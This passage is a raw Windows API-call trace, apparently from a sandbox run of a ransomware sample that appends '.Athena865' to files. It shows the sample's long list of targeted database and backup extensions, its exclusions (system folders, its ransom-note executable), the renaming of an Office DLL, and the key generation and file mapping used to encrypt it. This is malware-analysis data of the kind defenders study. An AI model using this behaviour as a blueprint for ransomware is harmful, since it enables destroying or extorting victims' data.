lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0088.153] lstrlenW (lpString="ora") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0088.153] lstrlenW (lpString="orx") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0088.153] lstrlenW (lpString="owc") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0088.153] lstrlenW (lpString="p96") returned 3 [0088.153] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0088.153] lstrlenW (lpString="p97") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0088.154] lstrlenW (lpString="pan") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0088.154] lstrlenW (lpString="pdb") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0088.154] lstrlenW (lpString="pdm") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0088.154] lstrlenW (lpString="pnz") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0088.154] lstrlenW (lpString="qry") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0088.154] lstrlenW (lpString="qvd") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0088.154] lstrlenW (lpString="rbf") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0088.154] lstrlenW (lpString="rctd") returned 4 [0088.154] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0088.154] lstrlenW (lpString="rod") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0088.154] lstrlenW (lpString="rodx") returned 4 [0088.154] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0088.154] lstrlenW (lpString="rpd") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0088.154] lstrlenW (lpString="rsd") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0088.154] lstrlenW (lpString="sas7bdat") returned 8 [0088.154] lstrcmpiW (lpString1="EWER.DLL", lpString2="sas7bdat") returned -1 [0088.154] lstrlenW (lpString="sbf") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0088.154] lstrlenW (lpString="scx") returned 3 [0088.154] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0088.154] lstrlenW (lpString="sdb") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0088.155] lstrlenW (lpString="sdc") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0088.155] lstrlenW (lpString="sdf") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0088.155] lstrlenW (lpString="sis") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0088.155] lstrlenW (lpString="spq") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="spq") returned -1 [0088.155] lstrlenW (lpString="te") returned 2 [0088.155] lstrcmpiW (lpString1="LL", lpString2="te") returned -1 [0088.155] lstrlenW (lpString="teacher") returned 7 [0088.155] lstrcmpiW (lpString1="WER.DLL", lpString2="teacher") returned 1 [0088.155] lstrlenW (lpString="tmd") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="tmd") returned -1 [0088.155] lstrlenW (lpString="tps") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="tps") returned -1 [0088.155] lstrlenW (lpString="trc") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0088.155] lstrlenW (lpString="trc") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="trc") returned -1 [0088.155] lstrlenW (lpString="trm") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="trm") returned -1 [0088.155] lstrlenW (lpString="udb") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="udb") returned -1 [0088.155] lstrlenW (lpString="udl") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="udl") returned -1 [0088.155] lstrlenW (lpString="usr") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="usr") returned -1 [0088.155] lstrlenW (lpString="v12") returned 3 [0088.155] lstrcmpiW (lpString1="DLL", lpString2="v12") returned -1 [0088.155] lstrlenW (lpString="vis") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="vis") returned -1 [0088.156] lstrlenW (lpString="vpd") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="vpd") returned -1 [0088.156] lstrlenW (lpString="vvv") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="vvv") returned -1 [0088.156] lstrlenW (lpString="wdb") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="wdb") returned -1 [0088.156] lstrlenW (lpString="wmdb") returned 4 [0088.156] lstrcmpiW (lpString1=".DLL", lpString2="wmdb") returned -1 [0088.156] lstrlenW (lpString="wrk") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="wrk") returned -1 [0088.156] lstrlenW (lpString="xdb") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="xdb") returned -1 [0088.156] lstrlenW (lpString="xld") returned 3 [0088.156] lstrcmpiW (lpString1="DLL", lpString2="xld") returned -1 [0088.156] lstrlenW (lpString="xmlff") returned 5 [0088.156] lstrcmpiW (lpString1="R.DLL", lpString2="xmlff") returned -1 [0088.156] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865") returned 64 [0088.156] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll.athena865"), dwFlags=0x1) returned 1 [0088.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\VVIEWER.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\vviewer.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0088.158] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5597032) returned 1 [0088.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0088.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0088.159] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0088.159] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0088.160] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0088.160] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.160] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x556a70, lpName=0x0) returned 0x17c [0088.161] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x400000, dwNumberOfBytesToMap=0x156a70) returned 0x2d50000 [0088.215] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0088.279] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0088.297] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0088.297] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0088.297] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0088.297] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0088.297] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0088.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0088.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0088.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0088.298] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0088.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0088.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0088.298] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0088.298] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0088.312] CloseHandle (hObject=0x17c) returned 1 [0088.312] CloseHandle (hObject=0x154) returned 1 [0088.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0088.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: hHeap=0x4f0000) returned 1 [0088.312] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0088.320] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5eea5a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x13db160, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WINPROJ.EXE", cAlternateFileName="")) returned 1 [0088.320] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0088.320] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0088.320] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2=".") returned 1 [0088.320] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="..") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="windows") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="bootmgr") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="temp") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="pagefile.sys") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="boot") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="ids.txt") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="ntuser.dat") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="perflogs") returned 1 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2="MSBuild") returned 1 [0088.321] lstrlenW (lpString="WINPROJ.EXE") returned 11 [0088.321] lstrcpyW (in: lpString1=0x241e89e, lpString2="WINPROJ.EXE" | out: lpString1="WINPROJ.EXE") returned="WINPROJ.EXE" [0088.321] lstrlenW (lpString="WINPROJ.EXE") returned 11 [0088.321] lstrlenW (lpString="Athena865") returned 9 [0088.321] lstrcmpiW (lpString1="NPROJ.EXE", lpString2="Athena865") returned 1 [0088.321] lstrlenW (lpString=".dll") returned 4 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2=".dll") returned 1 [0088.321] lstrlenW (lpString=".lnk") returned 4 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2=".lnk") returned 1 [0088.321] lstrlenW (lpString=".ini") returned 4 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2=".ini") returned 1 [0088.321] lstrlenW (lpString=".sys") returned 4 [0088.321] lstrcmpiW (lpString1="WINPROJ.EXE", lpString2=".sys") returned 1 [0088.321] lstrlenW (lpString="WINPROJ.EXE") returned 11 [0088.321] lstrlenW (lpString="bak") returned 3 [0088.321] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0088.321] lstrlenW (lpString="ba_") returned 3 [0088.321] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0088.321] lstrlenW (lpString="dbb") returned 3 [0088.321] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0088.321] lstrlenW (lpString="vmdk") returned 4 [0088.322] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0088.322] lstrlenW (lpString="rar") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0088.322] lstrlenW (lpString="zip") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0088.322] lstrlenW (lpString="tgz") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0088.322] lstrlenW (lpString="vbox") returned 4 [0088.322] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0088.322] lstrlenW (lpString="vdi") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0088.322] lstrlenW (lpString="vhd") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0088.322] lstrlenW (lpString="vhdx") returned 4 [0088.322] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0088.322] lstrlenW (lpString="avhd") returned 4 [0088.322] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0088.322] lstrlenW (lpString="db") returned 2 [0088.322] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0088.322] lstrlenW (lpString="db2") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0088.322] lstrlenW (lpString="db3") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0088.322] lstrlenW (lpString="dbf") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0088.322] lstrlenW (lpString="mdf") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0088.322] lstrlenW (lpString="mdb") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0088.322] lstrlenW (lpString="sql") returned 3 [0088.322] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0088.323] lstrlenW (lpString="sqlite") returned 6 [0088.323] lstrcmpiW (lpString1="OJ.EXE", lpString2="sqlite") returned -1 [0088.323] lstrlenW (lpString="sqlite3") returned 7 [0088.323] lstrcmpiW (lpString1="ROJ.EXE", lpString2="sqlite3") returned -1 [0088.323] lstrlenW (lpString="sqlitedb") returned 8 [0088.323] lstrcmpiW (lpString1="PROJ.EXE", lpString2="sqlitedb") returned -1 [0088.323] lstrlenW (lpString="xml") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0088.323] lstrlenW (lpString="$er") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0088.323] lstrlenW (lpString="4dd") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0088.323] lstrlenW (lpString="4dl") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0088.323] lstrlenW (lpString="^^^") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0088.323] lstrlenW (lpString="abs") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0088.323] lstrlenW (lpString="abx") returned 3 [0088.323] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0088.323] lstrlenW (lpString="accdb") returned 5 [0088.323] lstrcmpiW (lpString1="J.EXE", lpString2="accdb") returned 1 [0088.323] lstrlenW (lpString="accdc") returned 5 [0088.323] lstrcmpiW (lpString1="J.EXE", lpString2="accdc") returned 1 [0088.323] lstrlenW (lpString="accde") returned 5 [0088.323] lstrcmpiW (lpString1="J.EXE", lpString2="accde") returned 1 [0088.323] lstrlenW (lpString="accdr") returned 5 [0088.323] lstrcmpiW (lpString1="J.EXE", lpString2="accdr") returned 1 [0088.323] lstrlenW (lpString="accdt") returned 5 [0088.324] lstrcmpiW (lpString1="J.EXE", lpString2="accdt") returned 1 [0088.324] lstrlenW (lpString="accdw") returned 5 [0088.324] lstrcmpiW (lpString1="J.EXE", lpString2="accdw") returned 1 [0088.324] lstrlenW (lpString="accft") returned 5 [0088.324] lstrcmpiW (lpString1="J.EXE", lpString2="accft") returned 1 [0088.324] lstrlenW (lpString="adb") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0088.324] lstrlenW (lpString="adb") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0088.324] lstrlenW (lpString="ade") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0088.324] lstrlenW (lpString="adf") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0088.324] lstrlenW (lpString="adn") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0088.324] lstrlenW (lpString="adp") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0088.324] lstrlenW (lpString="alf") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0088.324] lstrlenW (lpString="ask") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0088.324] lstrlenW (lpString="btr") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0088.324] lstrlenW (lpString="cat") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0088.324] lstrlenW (lpString="cdb") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0088.324] lstrlenW (lpString="ckp") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0088.324] lstrlenW (lpString="cma") returned 3 [0088.324] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0088.325] lstrlenW (lpString="cpd") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0088.325] lstrlenW (lpString="dacpac") returned 6 [0088.325] lstrcmpiW (lpString1="OJ.EXE", lpString2="dacpac") returned 1 [0088.325] lstrlenW (lpString="dad") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0088.325] lstrlenW (lpString="dadiagrams") returned 10 [0088.325] lstrcmpiW (lpString1="INPROJ.EXE", lpString2="dadiagrams") returned 1 [0088.325] lstrlenW (lpString="daschema") returned 8 [0088.325] lstrcmpiW (lpString1="PROJ.EXE", lpString2="daschema") returned 1 [0088.325] lstrlenW (lpString="db-journal") returned 10 [0088.325] lstrcmpiW (lpString1="INPROJ.EXE", lpString2="db-journal") returned 1 [0088.325] lstrlenW (lpString="db-shm") returned 6 [0088.325] lstrcmpiW (lpString1="OJ.EXE", lpString2="db-shm") returned 1 [0088.325] lstrlenW (lpString="db-wal") returned 6 [0088.325] lstrcmpiW (lpString1="OJ.EXE", lpString2="db-wal") returned 1 [0088.325] lstrlenW (lpString="dbc") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0088.325] lstrlenW (lpString="dbs") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0088.325] lstrlenW (lpString="dbt") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0088.325] lstrlenW (lpString="dbv") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0088.325] lstrlenW (lpString="dbx") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0088.325] lstrlenW (lpString="dcb") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0088.325] lstrlenW (lpString="dct") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0088.325] lstrlenW (lpString="dcx") returned 3 [0088.325] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0088.326] lstrlenW (lpString="ddl") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0088.326] lstrlenW (lpString="dlis") returned 4 [0088.326] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0088.326] lstrlenW (lpString="dp1") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0088.326] lstrlenW (lpString="dqy") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0088.326] lstrlenW (lpString="dsk") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0088.326] lstrlenW (lpString="dsn") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0088.326] lstrlenW (lpString="dtsx") returned 4 [0088.326] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0088.326] lstrlenW (lpString="dxl") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0088.326] lstrlenW (lpString="eco") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0088.326] lstrlenW (lpString="ecx") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0088.326] lstrlenW (lpString="edb") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0088.326] lstrlenW (lpString="epim") returned 4 [0088.326] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0088.326] lstrlenW (lpString="fcd") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0088.326] lstrlenW (lpString="fdb") returned 3 [0088.326] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0088.326] lstrlenW (lpString="fic") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0088.327] lstrlenW (lpString="flexolibrary") returned 12 [0088.327] lstrlenW (lpString="fm5") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0088.327] lstrlenW (lpString="fmp") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0088.327] lstrlenW (lpString="fmp12") returned 5 [0088.327] lstrcmpiW (lpString1="J.EXE", lpString2="fmp12") returned 1 [0088.327] lstrlenW (lpString="fmpsl") returned 5 [0088.327] lstrcmpiW (lpString1="J.EXE", lpString2="fmpsl") returned 1 [0088.327] lstrlenW (lpString="fol") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0088.327] lstrlenW (lpString="fp3") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0088.327] lstrlenW (lpString="fp4") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0088.327] lstrlenW (lpString="fp5") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0088.327] lstrlenW (lpString="fp7") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0088.327] lstrlenW (lpString="fpt") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0088.327] lstrlenW (lpString="frm") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0088.327] lstrlenW (lpString="gdb") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0088.327] lstrlenW (lpString="gdb") returned 3 [0088.327] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0088.327] lstrlenW (lpString="grdb") returned 4 [0088.327] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0088.328] lstrlenW (lpString="gwi") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0088.328] lstrlenW (lpString="hdb") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0088.328] lstrlenW (lpString="his") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0088.328] lstrlenW (lpString="ib") returned 2 [0088.328] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0088.328] lstrlenW (lpString="idb") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0088.328] lstrlenW (lpString="ihx") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0088.328] lstrlenW (lpString="itdb") returned 4 [0088.328] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0088.328] lstrlenW (lpString="itw") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0088.328] lstrlenW (lpString="jet") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0088.328] lstrlenW (lpString="jtx") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0088.328] lstrlenW (lpString="kdb") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0088.328] lstrlenW (lpString="kexi") returned 4 [0088.328] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0088.328] lstrlenW (lpString="kexic") returned 5 [0088.328] lstrcmpiW (lpString1="J.EXE", lpString2="kexic") returned -1 [0088.328] lstrlenW (lpString="kexis") returned 5 [0088.328] lstrcmpiW (lpString1="J.EXE", lpString2="kexis") returned -1 [0088.328] lstrlenW (lpString="lgc") returned 3 [0088.328] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0088.328] lstrlenW (lpString="lwx") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0088.329] lstrlenW (lpString="maf") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0088.329] lstrlenW (lpString="maq") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0088.329] lstrlenW (lpString="mar") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0088.329] lstrlenW (lpString="marshal") returned 7 [0088.329] lstrcmpiW (lpString1="ROJ.EXE", lpString2="marshal") returned 1 [0088.329] lstrlenW (lpString="mas") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0088.329] lstrlenW (lpString="mav") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0088.329] lstrlenW (lpString="maw") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0088.329] lstrlenW (lpString="mdbhtml") returned 7 [0088.329] lstrcmpiW (lpString1="ROJ.EXE", lpString2="mdbhtml") returned 1 [0088.329] lstrlenW (lpString="mdn") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0088.329] lstrlenW (lpString="mdt") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0088.329] lstrlenW (lpString="mfd") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0088.329] lstrlenW (lpString="mpd") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0088.329] lstrlenW (lpString="mrg") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0088.329] lstrlenW (lpString="mud") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0088.329] lstrlenW (lpString="mwb") returned 3 [0088.329] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0088.329] lstrlenW (lpString="myd") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0088.330] lstrlenW (lpString="ndf") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0088.330] lstrlenW (lpString="nnt") returned 3 [0088.330] lstrcmpiW (lpString1="EXE", lpString2="nnt") 